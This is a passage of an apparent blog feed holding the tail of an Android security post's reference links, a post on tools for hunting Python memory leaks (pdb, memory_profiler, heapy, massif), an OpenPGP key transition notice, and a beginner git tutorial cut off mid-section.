&lt;tr&gt;&lt;td class="label"&gt;[13]&lt;/td&gt;&lt;td&gt;&lt;em&gt;(&lt;a class="fn-backref" href="#footnote-reference-14"&gt;1&lt;/a&gt;, &lt;a class="fn-backref" href="#footnote-reference-20"&gt;2&lt;/a&gt;)&lt;/em&gt; &lt;a class="reference external" href="https://www1.informatik.uni-erlangen.de/frost"&gt;https://www1.informatik.uni-erlangen.de/frost&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="adbsecure" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-15"&gt;[14]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://play.google.com/store/apps/details?id=com.stericson.adbSecure"&gt;https://play.google.com/store/apps/details?id=com.stericson.adbSecure&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="physicaldrivebydownloads" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-17"&gt;[15]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="http://kyleosborn.com/android/AndroidPhySec.pdf"&gt;http://kyleosborn.com/android/AndroidPhySec.pdf&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="p2padb" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-16"&gt;[16]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://github.com/kosborn/p2p-adb/"&gt;https://github.com/kosborn/p2p-adb/&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="hak5physical" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-18"&gt;[17]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://www.youtube.com/watch?v=ah7DWawLax8"&gt;https://www.youtube.com/watch?v=ah7DWawLax8&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="raiderbackuptool" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-19"&gt;[18]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://code.google.com/p/raider-android-backup-tool/"&gt;https://code.google.com/p/raider-android-backup-tool/&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
</content><category term="android"></category><category term="android"></category><category term="security"></category></entry><entry><title>Hunting Memory Leaks in Python</title><link href="//f0rki.at/hunting-memory-leaks-in-python.html" rel="alternate"></link><published>2013-08-31T00:00:00+02:00</published><updated>2013-08-31T00:00:00+02:00</updated><author><name>Michael Rodler</name></author><id>tag:f0rki.at,2013-08-31:/hunting-memory-leaks-in-python.html</id><summary type="html">&lt;p&gt;The first thing you might say: &amp;quot;Memory leaks in python? What the hell are you
talking about? Python has garbage collection. How is this possible? I don't
have to care about memory management!&amp;quot;
Well you don't. Until your python project blows up directly into your face
because it eats up …&lt;/p&gt;</summary><content type="html">&lt;p&gt;The first thing you might say: &amp;quot;Memory leaks in python? What the hell are you
talking about? Python has garbage collection. How is this possible? I don't
have to care about memory management!&amp;quot;
Well you don't. Until your python project blows up directly into your face
because it eats up more and more memory, and you have no idea why.
As you might know the garbage collector can only free unreferenced objects and
if you allocate lot's of objects and keep references to unused objects, those
objects won't be garbage collected. This doesn't sound so bad, but it's easy
to forget about a reference to an object somewhere in a list or a dictionary.&lt;/p&gt;
&lt;p&gt;Such memory leaks are unfortunate if it is a type of program that batch-processes
a lot of files at once or possibly runs a long time without being restarted (i.e. a server).
Well recently I was challenged with the first type. Batch processing a lot of
files. With some shell voodoo magic (find -exec) you could possibly
workaround the memory-leaking program, but that's not a solution. This blog
post consists of short descriptions of the tools I encountered and used during
my hunt for the memory leak.&lt;/p&gt;
&lt;p&gt;So let's start hunting this memory leak.&lt;/p&gt;
&lt;div class="section" id="the-python-debugger"&gt;
&lt;h2&gt;The Python Debugger&lt;/h2&gt;
&lt;p&gt;Most of the time it is sufficient to print()-debug smaller python scripts, but
in my case I needed something more powerful: pdb.
Of course python has a debugger included. The look and feel of pdb is like a
mixture of the python shell and gdb.
To start the python debugger from within a python program use&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;pdb&lt;/span&gt;
&lt;span class="n"&gt;pdb&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_trace&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;and you are dropped into the pdb shell in the current context. Of
course pdb also supports breakpoints and all the debugger features you would
expect. Check out this link for a tutorial on pdb &lt;a class="reference external" href="http://pymotw.com/2/pdb/"&gt;pdbpymotw&lt;/a&gt;. Also I have this
cheatsheet on the wall in front of me, in case I forget something &lt;a class="reference external" href="http://nblock.org/2011/11/15/pdb-cheatsheet/"&gt;pdbcheatsheet&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;So that's a good start to inspect the internals of you python program, but
we need something more specialized for inspecting the memory usage of a program.
The two tools I found useful are guppy/heapy and the memory_profiler module, as
suggested on Stack Overflow &lt;a class="reference external" href="http://stackoverflow.com/questions/110259/python-memory-profiler"&gt;memprofilerso&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="the-memory-profiler-module"&gt;
&lt;h2&gt;The memory_profiler Module&lt;/h2&gt;
&lt;p&gt;Let's talk about memory_profiler &lt;a class="reference external" href="https://pypi.python.org/pypi/memory_profiler"&gt;pymemoryprofiler&lt;/a&gt; first. This module allows us
to get a line by line memory usage, by using a simple decorator.&lt;/p&gt;
&lt;pre class="code python literal-block"&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;memory_profiler&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;profile&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="nd"&gt;&amp;#64;profile&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;do_something&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;    &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;    &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;    &lt;span class="k"&gt;del&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;    &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;xrange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;    &lt;span class="n"&gt;z&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;[::&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;    &lt;span class="k"&gt;del&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;z&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;do_something&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;omgwtf-&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;which will result in the following output:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
Line #    Mem usage    Increment   Line Contents
================================================
     3                             &amp;#64;profile
     4     8.746 MB     0.000 MB   def do_something(a, b, c):
     5    14.750 MB     6.004 MB       y = [1, 2, 3] * (2 ** 18)
     6    22.328 MB     7.578 MB       x = [b.lower() + &amp;quot;-&amp;quot; + str(t) for t in range(a)]
     7    16.324 MB    -6.004 MB       del y
     8    22.973 MB     6.648 MB       x = [b.lower() + &amp;quot;-&amp;quot; + str(t) for t in xrange(a)]
     9    22.973 MB     0.000 MB       z = x[::2]
    10    22.973 MB     0.000 MB       del x
    11    22.973 MB     0.000 MB       return z[c]
&lt;/pre&gt;
&lt;p&gt;So you can easily spot which parts of your code require the most memory and
where the memory is allocated. This is a good starting point, but the information
you get is not always sufficient to spot the leak. In my opinion the info
you get if the function is called repeatedly is not that valuable.&lt;/p&gt;
&lt;p&gt;Another feature from memory_profiler I think is very useful is the memory_usage
function. It allows to gather the memory usage of a process at a certain
point of time or over over a certain amount of time at specific intervals.
This is especially useful to monitor subprocesses or monitoring other processes
if you use multiprocessing.
To get the current memory usage of the process&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;memory_profiler&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;memory_usage&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;current memory usage:&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;memory_usage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;So to get a first overview of the memory usage of the process I included code
that called memory_usage at several points in the code and logged it, so that
I could grep out the memory usage afterwards.&lt;/p&gt;
&lt;p&gt;To monitor another process (in this case my firefox) over a period of 5
seconds and get the memory usage every 0.5 seconds.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;usage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;memory_usage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;interval&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;usage&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;2280.01171875&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2280.01171875&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2280.01171875&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2280.5234375&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2293.6015625&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2299.43359375&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2334.91796875&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2163.0078125&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2191.03515625&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2196.421875&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;An optional but highly recommended dependency of memory_profiler is psutil. You
might want to check out this module if you want to monitor other resources
as well &lt;a class="reference external" href="https://code.google.com/p/psutil/"&gt;psutilmodule&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="guppy-heapy"&gt;
&lt;h2&gt;guppy/heapy&lt;/h2&gt;
&lt;p&gt;As I found memory_profiler useful to get information on where and when a lot
memory is allocated. It can't really tell us what is using the memory.
For inspecting this I used the heapy module from the guppy package.
I highly recommend to check out this tutorial for heapy &lt;a class="reference external" href="http://www.smira.ru/wp-content/uploads/2011/08/heapy.html"&gt;heapytutorial&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;guppy/heapy didn't work out of the box on my arch linux box with python 2.7, so
I installed the latest trunk version using pip&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;pip&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;https://guppy-pe.svn.sourceforge.net/svnroot/guppy-pe/trunk/guppy
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;So to inspect the python heap I added something like the following in my code&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;hp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hpy&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;heap&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="n"&gt;pdb&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_trace&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;so that I could also play around with heapy a little bit more using the pdb
shell. Check out the heapy documentation for more information.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="what-about-c-extensions"&gt;
&lt;h2&gt;What about C extensions?&lt;/h2&gt;
&lt;p&gt;It seems that heapy cannot access python types from third party libraries
that are implemented in C. This is really unfortunate (at least in my case).
So what do we do now?
Back to good old valgrind :)&lt;/p&gt;
&lt;div class="section" id="massive-heap-inspection-with-massif"&gt;
&lt;h3&gt;massive heap inspection with: massif&lt;/h3&gt;
&lt;p&gt;valgrind comes with a tool called &amp;quot;massif&amp;quot; which logs the callgraph for
each allocation on the heap. When looking at the massif output we can
differantiate between two cases. If we see a lot of malloc() calls, it's
probably the extension itself that's leaking memory and we can hunt down the
leak with the valgrind Memcheck tool.
But if we see pythons internal allocator calls, we are probably dealing with
a leak in the python part of our code. This is because we deal with a python
type implemented in the C extension, which is referenced somewhere in python
code. So my primary goal was to find out &amp;quot;what?&amp;quot; uses a lot of memory.
Unfortunately valgrind doesn't really help in this case, as you can't see
were the calls are originating.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="conclusion"&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;In my case the hunt for the memory leak was unsucessful, although I think the
culprit is SQLAlchemy.
Anyway most of the time it is enough to monitor, when memory usage rises to
identify the culprit. Another hint is too enable debug output for the garbage
collector. You might get some useful information out there.
So anyway although the tools are not great, they are good enough to solve the
occasional memory leak problem in python.&lt;/p&gt;
&lt;/div&gt;
</content><category term="coding"></category><category term="python"></category><category term="coding"></category><category term="debugging"></category></entry><entry><title>Key Transition 2013</title><link href="//f0rki.at/key-transition-2013.html" rel="alternate"></link><published>2013-06-16T00:00:00+02:00</published><updated>2013-06-16T00:00:00+02:00</updated><author><name>Michael Rodler</name></author><id>tag:f0rki.at,2013-06-16:/key-transition-2013.html</id><summary type="html">&lt;p&gt;Today I sent my old OpenPGP key to retirement. I have been really sloppy
with this key. I never changed my encryption subkey and signed everything
with the master key. With the new key I'll store the master key offline and
will sign/encrypt with subkeys, which I'll rotate much …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Today I sent my old OpenPGP key to retirement. I have been really sloppy
with this key. I never changed my encryption subkey and signed everything
with the master key. With the new key I'll store the master key offline and
will sign/encrypt with subkeys, which I'll rotate much more frequent. Currently
I'm thinking once or twice a year.&lt;/p&gt;
&lt;p&gt;Transition statement from my old key can be found here: &lt;a class="reference external" href="//f0rki.at/openpgp/transition-from-2048R-012A921C.txt.asc"&gt;transition statement&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="//f0rki.at/openpgp/0xBCFEF3D1E4BC65A1"&gt;new key&lt;/a&gt; is:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
4096R/0xBCFEF3D1E4BC65A1 2013-06-16 [expires: 2016-06-15]
Key fingerprint = ECC5 1F7E DA2A 3E35 807B  CF42 BCFE F3D1 E4BC 65A1
&lt;/pre&gt;
&lt;div class="section" id="useful-resources"&gt;
&lt;h2&gt;Useful Resources&lt;/h2&gt;
&lt;p&gt;I found those websites useful while transitioning between my key.&lt;/p&gt;
&lt;p&gt;Step by step for creating a offline master key with encryption and signing subkeys.
&lt;a class="reference external" href="http://wiki.debian.org/subkeys"&gt;http://wiki.debian.org/subkeys&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;General OpenPGP best practices
&lt;a class="reference external" href="https://we.riseup.net/riseuplabs+paow/openpgp-best-practices"&gt;https://we.riseup.net/riseuplabs+paow/openpgp-best-practices&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Update: Another useful blog post about setting up a keypair with gnupg
&lt;a class="reference external" href="https://alexcabal.com/creating-the-perfect-gpg-keypair/"&gt;https://alexcabal.com/creating-the-perfect-gpg-keypair/&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
</content><category term="misc"></category><category term="openpgp"></category><category term="misc"></category></entry><entry><title>Mini Git Tutorial</title><link href="//f0rki.at/mini-git-tutorial.html" rel="alternate"></link><published>2013-04-04T00:00:00+02:00</published><updated>2013-04-04T00:00:00+02:00</updated><author><name>Michael Rodler</name></author><id>tag:f0rki.at,2013-04-04:/mini-git-tutorial.html</id><summary type="html">&lt;p&gt;Okay I decided to copy &amp;amp; paste some basic git commands and add some short
descriptions, so that people who never used git before but have used svn
can get a basic workflow running. (So I can tell people I work with: &amp;quot;read this
to get started. If you need to …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Okay I decided to copy &amp;amp; paste some basic git commands and add some short
descriptions, so that people who never used git before but have used svn
can get a basic workflow running. (So I can tell people I work with: &amp;quot;read this
to get started. If you need to know more: try other tutorials&amp;quot;)&lt;/p&gt;
&lt;div class="section" id="first-steps"&gt;
&lt;h2&gt;First Steps&lt;/h2&gt;
&lt;p&gt;So getting a repository over ssh is as easy as.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;git@example.com:repository.git
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;It's called clone, because git always fetches the whole repository and not
just a single version like svn.&lt;/p&gt;
&lt;p&gt;You need to set up you name and e-mail address for commiting stuff. You
can change it per repository with this commands or in (./.git/config).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;config&lt;span class="w"&gt; &lt;/span&gt;user.name&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Firstname Lastname&amp;quot;&lt;/span&gt;
git&lt;span class="w"&gt; &lt;/span&gt;config&lt;span class="w"&gt; &lt;/span&gt;user.email&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;firstname.lastname@example.com&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;For global configuration (~/.gitconfig) use:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;config&lt;span class="w"&gt; &lt;/span&gt;--global&lt;span class="w"&gt; &lt;/span&gt;...
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="basic-workflow"&gt;
&lt;h2&gt;Basic Workflow&lt;/h2&gt;
&lt;p&gt;To get all new changes from repository:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;pull
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Then you work on your files. The you are to commit those changes. To commit a
file you need to explicitly mark it to be commited (git calls this staging).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;add&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$new_or_changed_files&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To reset what you will commit (unstage in git language) use the following command.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;reset
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Finally you will commit your changes.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;commit
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To commit all changed files use the following command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;commit&lt;span class="w"&gt; &lt;/span&gt;-a
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Commits in git are created locally, so nobody but you can access that commit.
You need to push your commits back to the server:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;push
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="interesting-commands"&gt;
&lt;h2&gt;Interesting Commands&lt;/h2&gt;
&lt;p&gt;To view the status of the current files (staged, not staged, changed, etc.)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;status
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To view the difference between the current files and the last commit in diff
format use:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;diff
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;For viewing the last commits and their commit messages.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;log
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="branching"&gt;
&lt;h2&gt;Branching&lt;/h2&gt;
&lt;p&gt;Branches in git are awesome! Fast branching, merging, etc.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# create new local branch&lt;/span&gt;
git&lt;span class="w"&gt; &lt;/span&gt;branch&lt;span class="w"&gt; &lt;/span&gt;mynewbranch
git&lt;span class="w"&gt; &lt;/span&gt;checkout&lt;span class="w"&gt; &lt;/span&gt;mynewbranch
&lt;span class="c1"&gt;# make changes and commit new stuff&lt;/span&gt;
git&lt;span class="w"&gt; &lt;/span&gt;add&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$newstuff&lt;/span&gt;
git&lt;span class="w"&gt; &lt;/span&gt;commit
&lt;span class="c1"&gt;# push local branch to remote location&lt;/span&gt;
git&lt;span class="w"&gt; &lt;/span&gt;push&lt;span class="w"&gt; &lt;/span&gt;origin&lt;span class="w"&gt; &lt;/span&gt;mynewbranch
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Switching between branches is easy:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;checkout&lt;span class="w"&gt; &lt;/span&gt;master
git&lt;span class="w"&gt; &lt;/span&gt;checkout&lt;span class="w"&gt; &lt;/span&gt;mynewbranch
